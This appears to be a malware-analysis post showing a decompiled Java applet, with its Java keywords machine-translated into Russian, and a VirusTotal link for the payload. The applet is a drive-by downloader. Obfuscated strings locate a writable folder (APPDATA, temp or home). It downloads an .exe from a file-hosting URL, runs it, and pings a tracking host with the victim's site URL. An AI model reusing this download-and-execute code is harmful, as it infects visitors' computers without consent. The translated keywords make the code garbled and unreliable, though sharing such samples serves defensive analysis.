Декомпилированный Java Applet:
импорт java.applet.Applet;
импорт java.applet.AppletContext;
импорт java.io.File;
импорт java.io.FileOutputStream;
импорт java.net.URL;
импорт java.nio.channels.Channels;
импорт java.nio.channels.FileChannel;
импорт java.util.Random;
общественный класс Java расширяет Applet
{
общественности Строка Автор = "Создано-By-FoxxySoftware | Хотите узнать больше? Посетите нас на foxxysoftware.blogspot.com!";
общественного String [] = {AAA "7-3A3-3T3-3A3-" + "3D3-3P3-3P3-3A1-", "7-3e3-3m3-3o3-3h3-3" + ".3-3r3-3e3-3s3-3u3-1", "7-3r3-3i3-3d3-3p3-3m3-3t3-3.3" + "-3o3-3i3-3.3-3a3-3v3-3a3-3j3-1" };
общественный ИНТ В = 0;
общественного String [] CCC = { "\\", "//", Long.toString (Math.abs (новый Random () nextLong ()), 36.)};
общественного недействительными Init () {
пытаться {
для (String str1: this.AAA) {
this.AAA [this.BBB] = новый StringBuffer (str1) .reverse (). ToString (). replaceAll ("[".concat ("0") + "-".concat ("9") + "]", "").заменить все("-", "");
Строка str2 = NULL;
если (this.BBB == 0) str2 = System.getenv (this.AAA [this.BBB]); остальное str2 = System.getProperty (this.AAA [this.BBB]);
если ((str2! = NULL) && (Новый файл (str2) .exists ()) && (Новый файл (str2) .canWrite ()) && (Новый файл (str2) .canExecute ()) && (Новый файл (str2) .canRead ()) && (Новый файл (str2) .isDirectory ())) {
this.AAA [0] = str2;
ломать;
}
this.BBB + = 1;
}
если (this.AAA [(Integer.parseInt ("0") + Integer.parseInt ("3") + Integer.parseInt ("5") - Integer.parseInt ("2") - Integer.parseInt ("3") - Integer.parseInt ("3"))] == "7-3A3-3".concat ("T3-3A3-") .ToString () + "3D3-3P3-".concat ("3P3-3A1-")) {
System.exit (Integer.parseInt ("0") + Integer.parseInt ("3") + Integer.parseInt ("5") - Integer.parseInt ("2") - Integer.parseInt ("3") - Integer.parseInt ("3"));
}
если (this.AAA [(Integer.parseInt ("0") + Integer.parseInt ("3") + Integer.parseInt ("5") - Integer.parseInt ("2") - Integer.parseInt ("3") - Integer.parseInt ("3"))]. EndsWith (this.CCC [0])) {
this.AAA [(Integer.parseInt ("0") + Integer.parseInt ("3") + Integer.parseInt ("5") - Integer.parseInt ("2") - Integer.parseInt ("3") - Integer.parseInt ("3"))] = This.AAA [(Integer.parseInt ("0") + Integer.parseInt ("3") + Integer.parseInt ("5") - Integer.parseInt ("2") - Integer.parseInt ("3") - Integer.parseInt ("3"))]. Подстрока (0, this.AAA [(Integer.parseInt ("0") + Integer.parseInt ("3") + Integer.parseInt ("5") - Integer.parseInt ("2") - Integer.parseInt ("3") - Integer.parseInt ("3".))] Длина () - 1);
}
this.AAA [(Integer.parseInt ("0") + Integer.parseInt ("3") + Integer.parseInt ("5") - Integer.parseInt ("2") - Integer.parseInt ("3") - Integer.parseInt ("3"))] = This.AAA [(Integer.parseInt ("0") + Integer.parseInt ("3") + Integer.parseInt ("5") - Integer.parseInt ("2") - Integer.parseInt ("3") - Integer.parseInt ("3"))]. ReplaceAll ((this.CCC [1] + this.CCC [1] .concat ("5") .concat ("$") .concat ("4")).заменить все("[".concat ("0") + "-".concat ("9") + "]", "").нанизывать(), "");
this.AAA [(Integer.parseInt ("0") + Integer.parseInt ("3") + Integer.parseInt ("5") - Integer.parseInt ("2") - Integer.parseInt ("3") - Integer.parseInt ("3"))] = (This.AAA [(Integer.parseInt ("0") + Integer.parseInt ("3") + Integer.parseInt ("5") - Integer.parseInt ("2") - Integer.parseInt ("3") - Integer.parseInt ("3"))] + This.CCC [0] + this.CCC [0] + this.CCC [2] .replaceAll (новый StringBuilder (). Добавить ("[".concat ("0")). Добавить ("-".concat ("9")). Добавить ("]").нанизывать(), "") + ".Exe");
если (IFK (новый StringBuffer ("exe.WMI / d752e7e16bb67fa737fc9a3450c9243b9f10017b / 62311174 / Daolnwod / ten.tsohgr //: PTTH") .reverse (). ToString (), this.AAA [(Integer.parseInt ("0") + Integer.parseInt ("3") + Integer.parseInt ("5") - Integer.parseInt ("2") - Integer.parseInt ("3") - Integer.parseInt ("3"))], Ложная, getAppletContext (), getDocumentBase ()) == TRUE)
System.exit (Integer.parseInt ("0") + Integer.parseInt ("3") + Integer.parseInt ("5") - Integer.parseInt ("2") - Integer.parseInt ("3") - Integer.parseInt ("3"));
}
улов (Исключение localException) {
System.exit (Integer.parseInt ("0") + Integer.parseInt ("3") + Integer.parseInt ("5") - Integer.parseInt ("2") - Integer.parseInt ("3") - Integer.parseInt ("3"));
}
}
общественного логический IFK (String paramString1, String paramString2, логическое paramBoolean, AppletContext paramAppletContext, URL paramURL) {
пытаться {
FileOutputStream localFileOutputStream = новый FileOutputStream (paramString2);
. LocalFileOutputStream.getChannel () transferFrom (Channels.newChannel (новый URL-адрес (paramString1) .openStream ()), 0L, 16777216L);
localFileOutputStream.close ();
если (Runtime.getRuntime (). Exec (this.AAA [(Integer.parseInt ("0") + Integer.parseInt ("3") + Integer.parseInt ("5") - Integer.parseInt ("2") - Integer.parseInt ("3") - Integer.parseInt ("3"))])! = NULL) {
новый URL ("1h3t3t3p3: 3/3 / 3w3w3w3.3s3u3p3e3r3-3t7".replaceAll (новый StringBuilder (). присоединять ("[".concat ("0")). Добавить ("-".concat ("9")). Добавить ("]").нанизывать(), "") + "1r3a3c3k3e3r3.3n3e3t3 / 3w7".replaceAll (новый StringBuilder (). присоединять ("[".concat ("0")). Добавить ("-".concat ("9")). Добавить ("]").нанизывать(), "") .concat (новый StringBuilder (). Присоединять ("1t3f3 / 3c3a3l3l3b3a3c3k3 = 3g3e3t7".replaceAll (новый StringBuilder (). присоединять ("[".concat ("0")). Добавить ("-".concat ("9")). Добавить ("]").нанизывать(), "")). Добавить ("1i3p3.3j3s3.3p3h3p3? 3u3s7".replaceAll (новый StringBuilder (). присоединять ("[".concat ("0")). Добавить ("-".concat ("9")). Добавить ("]").нанизывать(), "")). ToString ()). CONCAT (новый StringBuilder (). Присоединять ("1e3r3n3a3m3e3 = 7".replaceAll (новый StringBuilder (). присоединять ("[".concat ("0")). Добавить ("-".concat ("9")). Добавить ("]").нанизывать(), "")). Добавить ("bongwater") .append ("&сайт =") .ToString ()) + paramURL.toString (). CONCAT ("&Тип = 1&скачать =") .concat (новый StringBuilder (). Присоединять (новый StringBuffer ("exe.WMI / d752e7e16bb67fa737fc9a3450c9243b9f10017b / 62311174 / Daolnwod / ten.tsohgr //: PTTH") .reverse (). ToString ()). Добавить ("&") .append ("эксплуатируют = 0".) .ToString ())) OpenStream ();
если (paramBoolean == верно) {
paramAppletContext.showDocument (новый URL (""), "");
}
}
иначе если (paramBoolean == верно) {
paramAppletContext.showDocument (новый URL (""), "");
}
System.exit (Integer.parseInt ("0") + Integer.parseInt ("3") + Integer.parseInt ("5") - Integer.parseInt ("2") - Integer.parseInt ("3") - Integer.parseInt ("3"));
} Задвижка (Исключение localException) {
System.exit (Integer.parseInt ("0") + Integer.parseInt ("3") + Integer.parseInt ("5") - Integer.parseInt ("2") - Integer.parseInt ("3") - Integer.parseInt ("3"));
}
возвращает истину;
}
}
VirusTotal Скан исполняемого файла, который пытается загрузить:
https://www.virustotal.com/es/file/79dabdcac50bdb5219906cfee9e1dd12ddc67106cd34867c08cfe14c8561ac83/analysis/1372922774/